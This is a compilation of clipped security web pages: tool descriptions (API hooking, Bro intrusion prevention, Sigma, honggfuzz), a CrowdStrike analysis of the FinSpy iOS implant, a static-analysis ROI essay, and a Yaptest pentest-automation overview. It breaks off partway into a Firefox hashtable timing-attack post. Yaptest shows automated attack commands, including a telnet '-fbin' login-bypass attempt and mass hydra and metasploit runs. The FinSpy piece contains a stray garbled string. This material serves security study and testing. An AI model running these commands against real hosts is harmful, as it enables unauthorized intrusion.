adversaries here had reason to believe that at least as of early August of
2013, their target pool had **not** patched**.**

If you're at all familiar with Firefox's normal updates, it's difficult to
avoid getting patched; you need to go out of your way to skip updating, and
you're more likely than not to screw that up and get patched by accident**.**
However, since the people using Tor services often are relying on read-only
media, like a LiveCD or a RO virtual environment, it's slightly more difficult
for them to get timely updates**.** Doing so means burning a new LiveCD, or
marking their VM as writable to make updates persistent**.** In short, it
looks we have a case where good security advice \(don't save anything on your
secret operating system\) got turned around into a poor operational security
practice, violating the "keep up on security patches" rule**.** Hopefully,
this is a lesson learned.

****

# Model Checking and Static Analysis of Intel MCS-51 Assembly Code

**Created:**| _10/14/2010 7:48:51 AM_  
---|---  
**Updated:**| _10/14/2010 7:49:42 AM_  
**Author:**| __  
**Tags:**| _asm papers analysis static sat model-checking_  
  
<img src='img/Temp2_5395' />

# WinAPIOverride : Free Advanced API Monitor, spy or override API or exe
internal functions

**Created:**| _11/7/2012 6:17:05 PM_  
---|---  
**Updated:**| _11/7/2012 6:17:05 PM_  
**Author:**| __  
**Tags:**| __  
  

# Free Advanced API Monitor, spy or override API or exe internal functions

<img src='img/Temp2_9528.jpg' /> |  WinAPIOverride is an advanced api monitoring software for 32 and 64 bits processes.  
You can monitor and/or override any function of a process.  
This can be done for API functions or executable internal functions.  
  
It tries to fill the gap between classical API monitoring softwares and
debuggers.  
It can break targeted application before or after a function call, allowing
memory or registers changes; and it can directly call functions of the
targeted application.  
---|---  
Main differences between other API monitoring softwares :  
\- You can define filters on parameters or function result  
\- You can define filters on dll to discard calls from windows system dll  
\- You can hook functions inside the target process not only API  
\- You can hook asm functions with parameters passed through registers  
\- You can hook hardware and software exceptions  
\- Double and float results are logged  
\- You can easily override any API or any process internal function  
\- You can break process before or/and after function call to change memory or
registers  
\- You can call functions which are inside the remote processes  
\- Can hook COM OLE and ActiveX interfaces  
\- User types \(enum, struct and union\) and user defines are supported  
\- All is is done like modules : you can log or override independently for any
function  
\- A library is provided for developpers who intend to build their one hooking
software  

#
security.dico.unimi.it/~gianz/pubs/phd\_dissertation\_giampaolo\_fresi\_roglia.pdf

**Created:**| _7/5/2012 2:02:15 PM_  
---|---  
**Updated:**| _7/5/2012 2:02:15 PM_  
**Author:**| __  
**Tags:**| _Fuzzer Graphs Java virtusalisation Tutorials Emulation_  
  

# flat assembler

**Created:**| _11/18/2010 6:06:45 PM_  
---|---  
**Updated:**| _11/18/2010 6:06:53 PM_  
**Author:**| __  
**Tags:**| _bookmark asm_  
  

flat assembler  
Assembly language resources.

Main index Download Documentation Examples Message board

Welcome to the site of flat assembler\! This is a place dedicated to assembly
language programming for x86 and x86-64 systems and contains many resources
for both beginners and advanced assembly programmers. This site is constantly
being improved, and hopefully you'll find here some useful materials, no
matter whether you are trying to learn the assembly language, or just are
looking for the solution for some particular problem.

Download | Here you can download the flat assembler - the open source assembly language compiler for x86 and x86-64 processors \(this includes the AMD64 and Intel 64 architectures\). Packages for DOS, Windows, Linux and Unix with C library are available.  
---|---  
Documentation | All the available documentation for flat assembler, assembly language tutorials and other manuals and articles about assembly programming are gathered here.  
Examples | Here you can browse and download the example projects made with flat assembler, which were made available with full source code by their authors in order to help other people learn from the ready projects.  
Message board | This is a place where you can ask questions about flat assembler for which you haven't found answers in documentation, report bugs, or just talk with the other assembly language programmers.

# User Manual: Intrusion Prevention Using Bro - BroWiki

**Created:**| _5/12/2010 9:48:49 AM_  
---|---  
**Updated:**| _5/12/2010 9:49:02 AM_  
**Author:**| __  
**Tags:**| _bookmark iDS/iPS Tutorials Lab-Setup awesome_  
  

# User Manual: Intrusion Prevention Using Bro

Bro includes two important  _active response_ capabilities that allow sites to
use Bro for intrusion prevention, and not just intrusion detection. These
include the ability to terminate a connection known to be an intrusion, and
the ability to update a blocking router's access control list \(ACL\) to block
attacking hosts.

# Terminating a Connection

The Bro distribution includes a program called `rst` that will terminate a
active connection by sending a TCP "reset" packet to the sender. The `ftp` and
`login` analyzers look for connections that should be terminated. All
connections from a \[1\] `forbidden_id`\} get flagged for termination, as well
as any service defined in`terminate_successful_inbound_service`.

Connection termination is off by default. To enable it, redefine the following
flag in your `site/site.local.bro` file:

[code]

     redef activate_terminate_connection = T ;
    
[/code]

Connections are terminated using the `rst` program, which is installed in
$BROHOME/bin. To use this program change the file permission to be setuid
root. Whenever a connection is terminated you will see a
`TerminatingConnection` alarm. If Bro detects a connection that Bro thinks is
a candidate for termination, but`activate_terminate_connection = F`, then you
will see the alarm: `IgnoreTerminatingConnection`.

You may want to add a number of services to the list of forbidden services.
For example, to terminate all successful attempts to access the RPC portmapper
via TCP from an external network, you would add this:

[code]

       redef terminate_successful_inbound_service += {
           [111/tcp] = "disallow external portmapper"
       }; 
    
[/code]

This will prevent NFS connections from external hosts. P2P services such as
KaZaa can also be terminated in this manner. You can make exceptions
to`terminate_successful_inbound_service` by redefing `allow_services_to`. See
`hot.bro` for details.

# Updating Router ACL

Bro can be used to send the IPs of scanning or attacking hosts to your router,
so that the router can drop these hosts.

Since every router does this differently, you will need to write a script that
works for your router.

To active your custom drop script, add this to your hostname.bro file:

[code]

    redef can_drop_connectivity  = T;
    redef drop_connectivity_script = "my_drop_script";
    
[/code]

At LBL we use a program called acld to update the ACLs in our boarder routers
on the fly. This code is available at: ftp://ftp.ee.lbl.gov/acld.tar.gz

# Neo23x0/sigma

**Created:**| _5/8/2017 4:48:36 PM_  
---|---  
**Updated:**| _5/8/2017 4:48:36 PM_  
**Author:**| __  
**Tags:**| _bookmark siem_  
  

  

###  README.md

<img src='img/Sigma_0.3.png' width='385' height='148' alt='sigma_logo' />

# Sigma

Generic Signature Format for SIEM Systems

# What is Sigma?

Sigma is a generic and open signature format that allows you to describe
relevant log events in a straight forward manner. The rule format is very
flexible, easy to write and applicable to any type of log file. The main
purpose of this project is to provide a structured form in which researchers
or analysts can describe their once developed detection methods and make them
shareable with others.

Sigma is for log files what Snort is for network traffic and YARA is for
files.

This repository contains:

  * Sigma rule specification in the Wiki
  * Open repository for sigma signatures in the ` ./rules `subfolder
  * A converter that generate searches/queries for different SIEM systems \[work in progress\]

# Use Cases

  * Describe your once discovered detection method in Sigma to make it sharable
  * Share the signature in the appendix of your analysis along with file hashes and C2 servers
  * Share the signature in threat intel communities - e.g. via MISP
  * Provide Sigma signatures for malicious behaviour in your own application \(Error messages, access violations, manipulations\)
  * Integrate a new log into your SIEM and check the Sigma repository for available rules
  * Write a rule converter for your custom log analysis tool and process new Sigma rules automatically
  * Provide a free or commercial feed for Sigma signatures

# Sigma Converter

The converter is currently under development in the _devel-sigmac_ branch of
this project. It has currently the following capabilities:

  * Parsing of Sigma rule files
  * Conversion of searches into Elasticsearch and Splunk queries

Planned main features are:

  * Conversion of aggregation expressions \(after the pipe character\)
  * Output of Kibana JSON configurations

Support for further SIEM solutions can be added by developing an corresponsing
output backend class.

<img src='img/Sigma-description.png' width='888' height='377'
alt='sigma_description' />

# Why Sigma

Today, everyone collects log data for analysis. People start working on their
own, processing numerous white papers, blog posts and log analysis guidelines,
extracting the necessary information and build their own searches and
dashboard. Some of their searches and correlations are great and very useful
but they lack a standardized format in which they can share their work with
others.

Others provide excellent analyses for threat groups, sharing file indicators,
C2 servers and YARA rules to detect the malicious files, but describe a
certain malicious service install or remote thread injection in a separate
paragraph. Security analysts, who read that paragraph then extract the
necessary information and create rules in their SIEM system. The detection
method never finds a way into a repository that is shared, structured and
archived.

The lower layers of the OSI layer are well known and described. Every SIEM
vendor has rules to detect port scans, ping sweeps and threats like the 'smurf
attack'. But the higher layers contain numerous applications and protocols
with special characteristics that write their own custom log files. SIEM
vendors consider the signatures and correlations as their intelectual property
and do not tend to share details on the coverage.

Sigma is meant to be an open standard in which detection mechanisms can be
defined, shared and collected in order to improve the detection capabilities
on the application layers for everyone.

<img src='img/Problem_OSI_v01.png' width='888' height='529' alt='sigma_why' />

## Slides

See the first slide deck that I prepared for a private conference in mid
January 2017.

Sigma - Make Security Monitoring Great Again

# Specification

The specifications can be found in the Wiki.

The current specification is a proposal. Feedback is requested.

# Examples

Windows 'Security' Eventlog: Access to LSASS Process with Certain Access Mask
/ Object Type \(experimental\) <img src='img/Sigma_rule_example2.png'
width='819' height='357' alt='sigma_rule example2' />

Sysmon: Remote Thread Creation in LSASS Process <img
src='img/Sigma_rule_example1.png' width='802' height='359' alt='sigma_rule
example1' />

Web Server Access Logs: Web Shell Detection <img
src='img/Sigma_rule_example3.png' width='804' height='340' alt='sigma_rule
example3' />

Sysmon: Web Shell Detection <img src='img/Sigma_rule_example4.png' width='818'
height='430' alt='sigma_rule example4' />

Windows 'Security' Eventlog: Suspicious Number of Failed Logons from a Single
Source Workstation <img src='img/Sigma_rule_example5.png' width='813'
height='451' alt='sigma_rule example5' />

## Sigmac

The beta version of the rule converter 'sigmac' converting a non-correlation
rule into an ElasticSearch query <img src='img/Sigmac-
win_susp_rc4_kerberos.png' width='888' height='253' alt='sigmac_converter' />

## Supported Targets

  * Splunk
  * ElasticSearch
  * Logpoint

# Next Steps

  * Integration of feedback into the rule specifications
  * Integration into Threat Intel Exchanges, e.g. MISP
  * Attempts to convince others to use the rule format in their reports, threat feeds, blog posts, threat sharing platforms

# Projects that use Sigma

  * Augmentd
  * TA-Sigma-Searches \(Splunk App\)

# Credits

This is a private project mainly developed by Florian Roth and Thomas Patzke
with feedback from many fellow analysts and friends. Rules are our own or have
been drived from blog posts, tweets or other public sources that are
referenced in the rules.

Copyright for Tree Image: studiobarcelona / 123RF Stock Photo

  

# honggfuzz - A general-purpose fuzzer with simple, command-line interface -
Google Project Hosting

**Created:**| _5/25/2011 3:33:00 PM_  
---|---  
**Updated:**| _5/25/2011 3:33:09 PM_  
**Author:**| __  
**Tags:**| _bookmark Fuzzer_  
  

# honggfuzz

A general-purpose, easy-to-use fuzzer with interesting analysis options. See
README wiki page for more details.

It works, at least, under GNU/Linux, FreeBSD and Mac OS X operating systems.

It's been used to find a few interesting security problems in major software;
examples:

  * FreeType 2 project: CVE-2010-2497, CVE-2010-2498, CVE-2010-2499, CVE-2010-2500, CVE-2010-2519, CVE-2010-2520, CVE-2010-2527
  * Multiple bugs in the libtiff library
  * Multiple bugs in the librsvg library
  * Multiple bugs in the poppler library

# FinSpy Mobile: iOS and Apple UDID leak | CrowdStrike
**Created:**| _8/12/2014 3:12:06 PM_  
---|---  
**Updated:**| _8/12/2014 3:12:06 PM_  
**Author:**| __  
**Tags:**| _Malware-analysis backdoor espionage_  
  

# FinSpy Mobile: iOS and Apple UDID leak

Sep 4, 2012 | Alex Radocea, Sr. Engineer
Last week, Morgan Marquis-Boire and Bill Marczak from The Citizen Lab
published a fascinating glance at real-world mobile espionage tool created by
Gamma International under its 'FinFisher' product line. The report covers the
mobile component of FinFisher dubbed 'FinSpy Mobile' which supports iOS,
Android, Windows, Blackberry, and Symbian phones. Gamma International in
response to the article, issued a press release stating that FinFisher's
"information was stolen from its sales demonstration server at an unknown time
by unknown methods."CrowdStrike analyzed the iOS version of FinSpy to identify
details of any attacks against the iOS platform itself which would facilitate
the installation of the FinSpy tool. The technical overview from The Citizen
Lab identifies some notable attributes which imply either a bypass or exploit
of the iOS security architecture.  
  
One of the first points to catch our attention was that the applications in
the FinSpy package use Ad-hoc distribution. Ad-hoc distribution is typically
used for testing, and one of the three application distribution methods
available from Apple, the second being In-House apps and the most well-known
distribution method being through the iTunes App Store \(which also includes
Business-to-Business a.k.a B2B apps\). Ad-hoc distribution requires that the
individual target device's Unique Device Identifier \(UDID\) must be known
when the Ad-hoc distribution profile is created, long before
execution/installation time. This makes Ad-hoc distribution less than ideal
for in-the-wild exploitation and would seem to support Gamma International's
statement regarding the sales demonstration server. That is of course until
the recent 'anti-sec' leak of over a million UDIDs with customer name/device
name correlation.  
  
While the limitation of knowing the UDID in advance points to some other
distribution channel, the FinSpy installation mechanism writes to a number of
files that are not directly accessible from within the third-party application
container. The third-party application container is a sandbox that is part of
iOS which enables the device to run third party applications safely and
separately from each other and the operating system, this is a security
feature of iOS. This indicates some form of security bypass or exploit is
required to install the package by reaching outside of the sandbox.
Additionally, these files are not writable using the 'mobile' user privileges,
with which third-party applications execute. Lastly, these files are located
in the read-only portion of the filesystem, the system partition, requiring
the remounting of the partition with read/write privileges requiring superuser
access. In essence, the Ad-hoc distributed apps run in the third-party App
container and without kernel code execution, there is no way to directly
bypass the App sandbox. Even if somehow one managed to get around the
filesystem permissions, there would still be no way from the sandbox to
directly use system calls to write to those file paths.  
  
The trojan application which exfiltrates data, named 'SyncData.app', runs
persistently and silently while exfiltrating information from data sources not
reachable by third-party Apps.  
  
**Payload Expansion**

The FinSpy Mobile 'installation' begins by instantiating the
install\_manager.app, which contains a routine which decodes and drops four
additional binaries.

<img src='img/Temp2_3161.png' />

Specifically, the application bundle of the install\_manager.app contains a
'data' file which has been obfuscated with a simple fixed-key XOR loop. Once
decoded, the data file is actually a zip compressed file which expands into
four more applications, and a LaunchDaemon configuration.

In the pseudocode that follows throughout this post, "$\{suid\_tmpcache\}"
refers to a path generated as follows:

<img src='img/Temp2_3168.png' />

On a jailbroken device, running this as the mobile user would result in the
path "/var/mobile/Library/Caches". On a non-jailbroken device, where the user
partition is mounted "nosuid" to ignore setuid executables, this results in
"/tmp/" as the destination path, which is writeable from the third-party app
container.sdf;lakjasdf;ljksdf

<img src='img/Temp2_3164.png' />

The '\_im\_expandPayload\(\)' routine which decodes the binaries also marks
the executable bit of each of the decompressed App bundle's binary files and
attempts to set their ownership to the root user. NSFileManager fails
gracefully if not running with root privileges and will still mark the files
as executable.

<img src='img/Temp2_3160.png' />

### Privilege Escalation Mechanism?

So how does the trojan break out of the sandbox? Is there a kernel exploit
inside? After extraction, the trampoline App is executed, followed by the the
execution of the installer App.

The infrastructure points at trampoline as a privilege escalation exploit,
specifically the arguments which are supplied to the trampoline.app are
redundant and unnecessary unless a privilege escalation is occurring.

_Install Manager Running Trampoline_

<img src='img/Temp2_3163.png' />

### Trampoline

As is turns out, the trampoline in this sample is a no-op 'placeholder', there
is nothing inside and the App has no effect. Checking the standard control
flow techniques, including clever ones, shows no alternate entry points. No
interposers, no interesting relocation entries, initializers, constructors,
destructors, dyld exploits, or other tricks. The following is the pseudocode
for the main routine, the argc comparison is off by one, causing a non-
exploitable NULL pointer dereference.

<img src='img/Temp2_3166.png' />

 _**Installer**_

The installer app copies over the payloads to their final paths in
"/Applications", "/System/Library/LaunchDaemons", and
"/System/Library/CoreServices/".

<img src='img/Temp2_3165.png' />

 _**Files Copied**_  
  
**.../org.logind.ctp.archive/SyncData.app** to**/Applications/SyncData.app**  
  
**.../org.logind.ctp.archive/com.apple.logind.plist** to  
**/System/Library/LaunchDaemons/com.apple.logind.plist**  
  
**.../org.logind.ctp.archive/logind.app**
to**/System/Library/CoreServices/logind.app**  
  
Followed by the execution of the 'login' App with "/bin/launchctl"
**/System/Library/LaunchDaemons/com.apple.logind.plist**  
  
Due to the usage of getuid\(\) and geteuid\(\) in 'installer', it seems that
'installer' is expected to be run as a setuid root binary. A weaponized
version of the trampoline App would likely exploit the system to make
'installer' a setuid root binary. Supporting evidence for this is mentioned
later, which shows how the temporary directory lookup checks if the Caches
directory is mounted nosuid. The /tmp directory is also part of the user
partition, and would be also be mounted nosuid on a standard non-jailbroken
device.  
  
What's important to note is that setuid root privileges on 'installer' won't
be sufficient. The exploit must remount the filesystem. Even then, the sandbox
container would prevent the writes to these filepaths, the kernel exploit in
trampoline would also need to modify the sandbox container for the already-
running 'Install Manager' App, or patch the kernel sandboxing code. On a
jailbroken device from the iPhone Dev Team, kernel sandboxing code is already
hot-patched so this is not necessary.

### **Persistence mechanism?**

<img src='img/Temp2_3167.png' />

As outlined by The Citizen Lab post, Logind will launch SyncData on every new
device boot. In this manner persistence is established, SyncData will run
without any restrictions to data available on the device. Launchd runs the
logind App with full root privileges and the SyncData App will run without a
sandbox profile. No additional exploit is necessary for persistence on a
jailbroken device, and Ad-hoc distribution would take care of code-signing on
a standard install.

**Takeaways**

The FinSpy Mobile iOS sample contains no exploit or security bypass of iOS,
since 'trampoline' is incomplete. The installation mechanism in this sample is
consistent with what would be used in a demonstration. However portions of it
could easily be weaponized with an existing jailbreak for out of date devices
or a new kernel exploit. The architecture of the FinSpy demo package is
consistent with a commercial grade implant which supports interchangeable
exploits.

Although this sample is not fully weaponized, the exfiltration payloads are
dangerous and can be trivially distributed onto a jailbroken or a non-
jailbroken 'paired device' using Mobile Device Management \(MDM\). The missing
components would be the command and control and SMS backend, which may have
also been on the sales demonstration server, and thus compromised.  
  
In the wild, this demonstration code can already trivially run on a jailbroken
device. A paired jailbroken device can have the logind and SyncData Apps
dropped directly on the system to later exfiltrate data, making this sample
sufficiently dangerous.  
  
It is entirely likely that FinSpy has been used in support of non-
demonstrative exploitation and collection. CrowdStrike is currently looking
for such samples, and will report if any are found, if anyone knows of such
samples we would love to hear about them. It is also noteworthy that with the
release of the alleged UDIDs today, if those do prove to be legitimate
devices, there are now over one million targets which can be targeted using
the FinSpy Ad-Hoc distribution mechanism coupled with an existing or new
exploit/jailbreak.

As mentioned previously, annotations are available on CrowdRE  
  
**Update** September 4th, 2012 7:43 PST:

Two astute readers correctly point out that NSTask fails inside the third-
party sandbox, since NSTask uses the fork system call which is filtered. This
is true on both standard installs and jailbroken installs for any Apps that do
not have the backgrounding entitlement. Install Manager does not use the
entitlement.

<img src='img/Temp2_3162.png' width='320' height='118' />  
---  
install\_manager.app entitlements  
I will also join George Kurtz and my colleague Georg Wicherski at an upcoming
Hacking Exposed: Mobile Targeted Threats webinar held next Wednesday September
12 at 11am PT/ 2pm ET. I will be discussing this threat and mitigation
strategies in more detail as a guest speaker. Register for it now at
www.hackingexposed7.com

# Static analysis and ROI

**Created:**| _6/21/2011 7:58:26 AM_  
---|---  
**Updated:**| _6/21/2011 7:58:39 AM_  
**Author:**| __  
**Tags:**| _analysis programming static_  
  

# Static analysis and ROI

06.06.2011 Andrey Karpov

I regularly communicate with potential users who are worried about errors in
C++ programs. Their worry is expressed in the following way: they try the PVS-
Studio tool and start to write that it finds too few errors during tests. And
although we feel that they find the tool interesting, still they their
reaction is quite skeptical.

Then a discussion starts where I try to convince them that PVS-Studio is a
very good and useful product and that it could be very profitable to their
company. In response they criticize my explanations and make caustic remarks
on the analyzer's work and false alarms it produces. Usual marketing work it
is.

While communicating with one of these users I wrote a detailed answer and my
opponent suggested that I arrange it as an article. And this is what I am
doing. We are waiting for your comments on the estimate of a profit static
code analysis tools may bring. Although I wrote the article keeping PVS-Studio
in mind, the calculations given in it seem to be interesting regardless of
what static analysis tool is under discussion.

The text cited below is an answer to the following fragment of a letter:

...

About 40 \(forty\) more real defects have been found - in most cases, this is
a bad copy-paste.

The question is: what will we get from integration of an expensive program
into the process of developing a software product in code of which the program
detects so few defects? Yes, I understand that we will find a fresh error
quicker, but there are not so many fresh errors.

...

So, let's have a look at static analysis tools from the viewpoint of ROI.

Let's take an average programmer who spends most of his working time on
developing C++ software. It is easy for me to imagine such a person since I
myself have been programming a lot for a long time. Suppose that he runs a
static code analyzer at night. Also suppose that the analyzer, being used in
this working mode and at a medium programming rate, can find two defects in
code made by the programmer in a week.

This is not abstract reasoning - I tell this relying on my own experience. I
am handling the code only with half of usual effort now but almost every week
I notice a mistake in my own code thanks to night analysis. Usually it is some
trifle that would reveal itself when writing a test or running regression
tests but sometimes I find really serious things. Here is a sample of a defect
PVS-Studio has found in my own code quite recently:

[code]

    bool staticSpecification = IsStaticSpecification(sspec);   
    bool virtualSpecification = IsVirtualSpecification(sspec);   
    bool externSpecification = IsVirtualSpecification(sspec);
    
[/code]

The fact that I write articles about the harm Copy-Paste does in no way
prevents myself from making such mistakes. I am human too and I copy code
fragments and make mistakes too. It is very difficult to catch an error like
the one shown above. In practice it would cause the analyzer to generate a
false alarm on some code constructs in certain cases. I would hardly manage to
create a manual test for such a rare situation \(to be exact, I did fail to
create this test since I had put this code into SVN\). What is insidious about
this error is that if some user complained about it, I would have to search
for it at least for a couple of hours and also ask the user to send me the
\*.i file. But let's not get distracted.

If the programmer writes code more regularly than me, 2 real warnings
generated by the analyzer during a week is a natural quantity. Altogether the
analyzer can produce 2\*4\*11 = 88 actual warnings during a year. We could
neglect the time needed to fix such defects and suppress false alarms. But
still let's take it into account.

Suppose the programmer spends 20 minutes in a week to fix 2 real errors and 2
false alarms. Altogether he will spend 20\*4\*11 = 880 minutes in a year on
handling the analyzer. In other words, it is 15 hours. Does it seem a large
waste of time? It is very little in comparison to what we will calculate
further.

Now let's consider the price of eliminating the same defects in case the
analyzer does not detect them during night tests.

The programmer will find 60% of these errors himself a bit later while writing
unit-tests, during individual preliminary testing or the process of debugging
other code fragments. Let's say that the search of an error itself and fixing
it will take about 15 minutes in this case since the person is handling a
recently written code and knows it well. For example, the programmer might
find a text in some dialogue that should not be there and find out that
yesterday he used x.empty\(\) instead of x.clear\(\) by accidence:

[code]

    url_.empty();
    if (status_text)
      url_ = status_text;
    
[/code]

And do not tell me that fixing such errors takes only 1-2 minutes. A
correction itself takes several seconds at all. But you have to find the
necessary fragment, compile the fixed code, check if your correction is right
and probably introduce corrections into SVN. So let's say it's 15 minutes.

I would like to note right away that errors of this kind are usually fixed by
programmers mechanically and are not considered errors usually because they
are not recorded anywhere.

35% of errors will be found at the testing stage. These errors have a longer
life cycle. In the beginning, a tester locates and recalls an issue. Then he
makes a description of the error and places it into the bug-tracker. The
programmer finds and fixes the error and asks the tester to check this
fragment once again and close the error. The total time spent by the tester
and programmer together is about 2 hours. Here you are an example of such an
error: incorrect handling of OPENFILENAME. The programmer might be lucky and
he will not see the rubbish in the dialogue while the tester will, yet not
every time \(Heisenbug\):

[code]

    OPENFILENAME info = {0};
    ...
    info.lpstrFilter = L"*.txt";
    
[/code]

We have 5% of errors left unnoticed. That is, programmers and QA-engineers
cannot find them but a static code analyzer can.

If you take your current project and check it with PVS-Studio or some other
static analyzer, you will see that very unnoticed 5% of errors. This 5% is
those very 40 errors the potential user has mentioned while trying PVS-Studio.

The rest 95% of errors were fixed by yourself earlier while writing tests,
using unit-testing, manual testing and other methods.

So, we have 5% of errors we cannot find and they are hidden in the product we
are releasing. 4% of them might never occur at all and we may ignore them. The
remaining 1% of errors might reveal itself unexpectedly by the user's side and
cause him a lot of troubles. For instance, a client wants to write a plugin to
your system and the program crashes because of this code:

[code]

    bool ChromeFrameNPAPI::Invoke(...)
    {
      ChromeFrameNPAPI* plugin_instance =
        ChromeFrameInstanceFromNPObject(header);
      if (!plugin_instance && (plugin_instance->automation_client_.get()))
        return false;
    
[/code]

You never do that and always check external interfaces? Good guys. But Google
Chromium failed here. So never make such promises.

If you value your client, you will have to spend many hours on finding the
defect and corresponding with the client. After that you will have to
additionally make a fix for him or release the next version ahead of time. You
might easily spend 40 hours of working time of various people \(not to speak
of their nerves\) on such errors.

What? Who said it's not true? You have never wasted a whole week on one
insidious bug? Then you have never been a true programmer. :\)

Let's calculate how much time we could save during a year:

88 \* 0.60 \* 15 = 792 minutes

88 \* 0.35 \* 120 = 3696 minutes

88 \* 0.01 \* 40 \* 60 = 2212 minutes

Altogether the programmer spends \(792 + 3696 + 2212\) / 60 = 112 hours during
one year to fix some subset of his own errors.

A team of 5 persons will spend about 560 hours or 70 days during a year on
their own mistakes. Taking into account paid weekends, vacations and sick-
leaves we can say it is about 4 months of work for some abstract person.

If it is profitable to use a static analyzer or not depends upon the salary of
your employees.

Since we speak about some abstract person \(not only programmers are
participating\), let's take a salary of $6000 per month. Taking into account
salary taxes, rent, computer purchase and depreciation, bonuses, Internet,
juice, etc., we can easily increase this number twice at least.

So we get that the price of fixing errors \(not all errors, but most of them\)
without using static analysis is $ 12 000 \* 4 = $ 48 000.

If we find the same errors quickly using static code analysis, the price of
fixing them will be 5 \* \(15 / 8\) \* $ 12 000 / 20 = $ 5 600.

Let's add the price of purchasing the PVS-Studio license for a team of 5
persons to this figure.

The final price of fixing errors using a static analyzer will be \(3 500 EUR\)
\* 1.4 + 5600 = $ 10 500.

Altogether the pure annual PROFIT from using the PVS-Studio static analyzer in
a team of 5 programmers is:

$ 48 000 - $ 10 500 = $ 37 500.

The price of fixing some errors has decreased more than three times. It's up
to you to think and decide if you should have this or not...

Yes, I also would like to note that I proceeded from rather conservative
figures in my estimates. Actually I think that investments will be repaid much
better. I just wanted to show you that you will get profit even at the most
conservative estimates. And please do not try to reproach me for any figures
saying that they are false. The article shows an approach to a quality profit
estimate, not a quantitative one.

# Yaptest Overview | pentestmonkey
**Created:**| _9/19/2011 8:11:31 AM_  
---|---  
**Updated:**| _9/19/2011 8:11:31 AM_  
**Author:**| __  
**Tags:**| _security tools pentest_  
  

# Yaptest Overview

### Yet Another PenTEST…

\[The download / install page is over here if that's what you're looking
for\].

At times pentesting is one of the most fun jobs around. Other times, though
it’s dull. When you’re having to manually check for the same issues on the
next host and the next host and the next… testing can get kinda tedious.

Vulnerability scanners \(nessus and the like\) have their place, but no
scanner is going to test for everything that you’re interested in. Yaptest
aims to make it easy for a pentester to automate parts of testing on the fly.
This is particularly useful when testing very large networks. Below are some
examples of tasks which would be easy to automate using yaptest:

  * Run nikto on anything nmap thinks is an HTTP service
  * Run hydra on every host with TCP port 21 open
  * Attempt upload a file to any TFTP servers found
  * Run onesixtyone on all hosts that are up
  * Try metasploit‘s solaris\_kcms\_readfile exploit against any hosts running kcmsd

Yaptest is the glue between your favourite tools and the knowledge base
gathered during your pentest. It handles all the mundane stuff that can easily
be automated and leaves you free to get on with owning boxes demonstrating
risk using techniques that yaptest doesn’t know about yet.

### Platform

Initially the database backend will be PostgreSQL with the APi written in
PERL. Linux will be the primary development platform.

However, MySQL support might be an option later on. It should also be possible
to get yaptest running on any platform supporting Postgres and PERL –
including Windows. This project is in its early stages, though and will focus
on Linux initially.

Note that if you’re running more than OS \(e.g. via VMWare\), each of your
testing platforms will \(eventually\) be able to share a single database
backend.

### **Typical Usage**

Conceptually, pentesting using yapscan could proceed as follows:

[code]

    $ yaptest-create-new-test.pl abc_co vlan1
[/code]

[code]

    $ yaptest-add-some-hosts.pl --method=arpscan-local-network
[/code]

[code]

    $ yaptest-fast-portscan-all-hosts.pl
[/code]

[code]

    $ yaptest-nmap-services-scan-all-open-ports.pl
[/code]

[code]

    $ yaptest-nikto-all-http-ports.pl
[/code]

Each of the yaptest scripts would read from / write to the backend database,
but call on other programs \(nmap, nikto, arp-scan, etc.\) to do the actual
scanning work. A log of the output from each tool would be stored in files
incase it was needed later.

### Extending Yaptest on the fly

At this point in our ficticious test, the pentester notices that nmap has
identified a large number of LDAP services running on the network. Some of
these are running on strange ports. After a bit of maual testing he decides
that he wants to run the following command on each service:

[code]

    ldapsearch -h IP -p PORT -s base
[/code]

He copies a suitable yaptest template script and comes up with something like:

[code]

    #!/usr/bin/perl -w
    use strict;
    use yaptest;
    
    my $y = yaptest->new();
    $y->run_test(
            command => 'ldapsearch -h ::IP:: -p ::PORT:: -s base',
            filter  => { port_info => "nmap_service_name = ldap" },
    );
[/code]

Yaptest will then be able to gather LDAP data for this any future test.

Sometimes you need to run a test which might hang indefinitely. The following
example shows how to set a timeout for the command \(in seconds\), so that one
failed command doesn’t prevent yaptest from running. In this example we also
run tests of up to 5 hosts concurrently and changes the name of the output
file to something more meaningful:

[code]

    #!/usr/bin/perl -w
    use strict;
    use yaptest;
    
    my $y = yaptest->new();
    $y->run_test(
            command => 'telnet -l -fbin ::IP::',
            filter  => { port => 23 },
            timeout => 10,
            parallel_processes => 5,
            output_file => 'telnet-fuser-bin-::IP::.out'
    );
[/code]

### More Information about Yaptest

Also check out the other pages on the yaptest project page.

# full\_spectrum.jpg \(JPEG Image, 2423 × 3632 pixels\) - Scaled \(29%\)

**Created:**| _8/19/2015 11:35:12 AM_  
---|---  
**Updated:**| _8/19/2015 11:35:12 AM_  
**Author:**| __  
**Tags:**| _signal DSP sigops_  
  

#  full\_spectrum.jpg \(JPEG Image, 2423 × 3632 pixels\) - Scaled \(29%\)

<img src='img/full_spectrum.jpg' />

# Leaking information with timing attacks on hashtables, part 1 « GDTR

**Created:**| _8/7/2012 3:11:39 PM_  
---|---  
**Updated:**| _8/7/2012 3:11:39 PM_  
**Author:**| __  
**Tags:**| _attacks Exploit hashes_  
  

## Leaking information with timing attacks on hashtables, part 1

07/08/2012 p\_k Leave a comment Go to comments

Timing attacks \[1\] are an important subclass of side channel attacks used to
reveal cryptographic secrets, basing only on time needed by targeted devices
or applications to perform specific computations.

<img src='img/fig1.gif' />

It turns out these attacks can be applied in a more prosaic context — instead
of encryption keys, they can help us leak pointers to objects on the heap or,
if we are lucky, in .code/.data sections of targeted application. Leaking a
pointer with fixed RVA reveals the imagebase, so ASLR becomes ineffective
\(ROP\). Leaking a heap pointer makes expoitation of WRITE-ANYWHERE bugs
easier, so in both cases it’s a win <img src='img/6430_icon_smile.gif'
alt=':)' /> .

This post provides a high-level description of a POC implementation of a
timing attack on hashtable used in Firefox \(tested on v4, v13, v14\). POC is
quite fast \(takes few secs\) and leaks a heap pointer to a JS object. A
detailed explanation will be provided in a different post \(part 2\).

## The trick

Consider a hash table using double hashing \[2\]. In this scheme, keys are
hashed like so: mod , where , are hash functions and is the size of hash
table. During insertion, is incremented until a free slot is found, like shown
below:

<img src='img/double.png' />

Lookups are performed the same way — is incremented until key value in a slot
matches, or the slot is empty.

It’s easy to see that the execution time of is proportional to the length of
‘s chain \(number of collisions\). In the above example , since there were two
collisions. The idea is to use this fact to learn the value of key being
looked up. Firefox is nice enough to store pointers and user supplied integers
in the same hashtable \(not always, but in specific circumstances\), so we can
control the table’s layout completely. It worth noting that only the object’s
pointer is used in hashing, so \(contents of strings are not taken into
account\).

Here’s how we are going to layout keys inside the table \(using JS integers\):

